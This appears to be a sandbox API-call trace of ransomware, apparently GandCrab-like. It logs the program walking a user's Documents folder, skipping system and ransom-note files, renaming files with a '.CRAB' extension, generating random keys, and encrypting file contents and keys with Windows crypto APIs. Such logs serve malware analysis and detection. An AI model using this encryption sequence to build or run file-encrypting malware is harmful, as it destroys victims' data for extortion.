	[0128.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB.CRAB"
	[0128.473] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0128.475] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.476] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.476] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0128.476] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.476] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.476] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0128.479] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.479] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.479] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.479] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0128.479] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.479] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.480] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.480] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.480] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0128.483] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318ef78) returned 1
	[0128.483] CryptGetKeyParam (in: hKey=0x318ef78, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0128.483] CryptEncrypt (in: hKey=0x318ef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0128.484] GetLastError () returned 0x0
	[0128.484] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.484] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0128.486] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x318f538) returned 1
	[0128.486] CryptGetKeyParam (in: hKey=0x318f538, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0128.486] CryptEncrypt (in: hKey=0x318f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0128.487] GetLastError () returned 0x0
	[0128.487] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.487] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\sv1mjqvxpgt3ix5d rv.doc.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0128.487] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.488] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.488] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x164cc, lpOverlapped=0x0) returned 1
	[0128.500] VirtualAlloc (lpAddress=0x0, dwSize=0x164d0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.503] VirtualAlloc (lpAddress=0x0, dwSize=0x164d0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0128.506] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.507] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe9b34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.507] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x164d0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x164d0, lpOverlapped=0x0) returned 1
	[0128.507] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.508] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.511] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0128.511] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0128.511] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0128.511] CloseHandle (hObject=0x3ec) returned 1
	[0128.512] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.512] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.512] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.512] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.513] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.513] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.513] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0128.513] FindClose (in: hFindFile=0x318e8b8 | out: hFindFile=0x318e8b8) returned 1
	[0128.513] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.513] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0128.513] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0128.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CRAB-DECRYPT.txt"
	[0128.513] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.513] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CRAB-DECRYPT.txt") returned 48
	[0128.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CRAB-DECRYPT.txt") returned 48
	[0128.514] lstrlenW (lpString=".txt") returned 4
	[0128.514] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.514] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0128.514] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CRAB-DECRYPT.txt") returned 48
	[0128.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CRAB-DECRYPT.txt") returned 48
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0128.514] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0128.514] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.515] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.515] lstrcmpW (lpString1="Database1.accdb", lpString2=".") returned 1
	[0128.515] lstrcmpW (lpString1="Database1.accdb", lpString2="..") returned 1
	[0128.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Database1.accdb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb"
	[0128.515] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.515] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb") returned 47
	[0128.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb") returned 47
	[0128.515] lstrlenW (lpString=".accdb") returned 6
	[0128.515] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.515] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".accdb ") returned 7
	[0128.515] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.516] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb") returned 47
	[0128.516] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb") returned 47
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="desktop.ini") returned -1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="autorun.inf") returned 1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="ntuser.dat") returned -1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="iconcache.db") returned -1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="bootsect.bak") returned 1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="boot.ini") returned 1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="ntuser.dat.log") returned -1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="thumbs.db") returned -1
	[0128.516] lstrcmpiW (lpString1="Database1.accdb", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.516] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.516] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB") returned 52
	[0128.516] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb")) returned 0x20
	[0128.516] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", dwFileAttributes=0x20) returned 1
	[0128.517] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb.crab")) returned 1
	[0128.518] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.518] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB"
	[0128.518] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB.CRAB"
	[0128.518] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0128.521] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.521] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.521] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.521] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.521] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.522] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0128.524] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.525] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.525] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.525] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.525] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.525] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.525] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.526] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0128.528] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e8b8) returned 1
	[0128.529] CryptGetKeyParam (in: hKey=0x318e8b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.529] CryptEncrypt (in: hKey=0x318e8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.530] GetLastError () returned 0x0
	[0128.530] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0128.530] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0128.533] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318fbb8) returned 1
	[0128.533] CryptGetKeyParam (in: hKey=0x318fbb8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.533] CryptEncrypt (in: hKey=0x318fbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.533] GetLastError () returned 0x0
	[0128.533] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.533] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.533] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.534] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.534] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x57000, lpOverlapped=0x0) returned 1
	[0128.581] VirtualAlloc (lpAddress=0x0, dwSize=0x57000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.587] VirtualAlloc (lpAddress=0x0, dwSize=0x57000, flAllocationType=0x3000, flProtect=0x4) returned 0x360000
	[0128.596] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.597] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffa9000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.597] WriteFile (in: hFile=0x3e8, lpBuffer=0x360000*, nNumberOfBytesToWrite=0x57000, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x360000*, lpNumberOfBytesWritten=0x314d45c*=0x57000, lpOverlapped=0x0) returned 1
	[0128.598] VirtualFree (lpAddress=0x360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.600] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.603] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.604] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.604] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.604] CloseHandle (hObject=0x3e8) returned 1
	[0128.604] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.604] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.604] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.605] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.605] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.605] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.605] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.605] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0128.605] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0128.605] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini"
	[0128.605] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.606] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini") returned 43
	[0128.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini") returned 43
	[0128.606] lstrlenW (lpString=".ini") returned 4
	[0128.606] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.606] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0128.606] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini") returned 43
	[0128.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini") returned 43
	[0128.606] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0128.606] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.607] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.607] lstrcmpW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2=".") returned 1
	[0128.607] lstrcmpW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="..") returned 1
	[0128.607] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="EKUyDH03JGhMH20FkVD.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx"
	[0128.607] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.607] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx") returned 56
	[0128.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx") returned 56
	[0128.607] lstrlenW (lpString=".docx") returned 5
	[0128.607] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.607] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0128.607] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx") returned 56
	[0128.608] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx") returned 56
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="desktop.ini") returned 1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="autorun.inf") returned 1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="ntuser.dat") returned -1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="iconcache.db") returned -1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="bootsect.bak") returned 1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="boot.ini") returned 1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="ntuser.dat.log") returned -1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="thumbs.db") returned -1
	[0128.608] lstrcmpiW (lpString1="EKUyDH03JGhMH20FkVD.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.608] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.608] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB") returned 61
	[0128.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ekuydh03jghmh20fkvd.docx")) returned 0x20
	[0128.608] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx", dwFileAttributes=0x20) returned 1
	[0128.609] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ekuydh03jghmh20fkvd.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\EKUyDH03JGhMH20FkVD.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ekuydh03jghmh20fkvd.docx.crab")) returned 1
	[0128.610] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
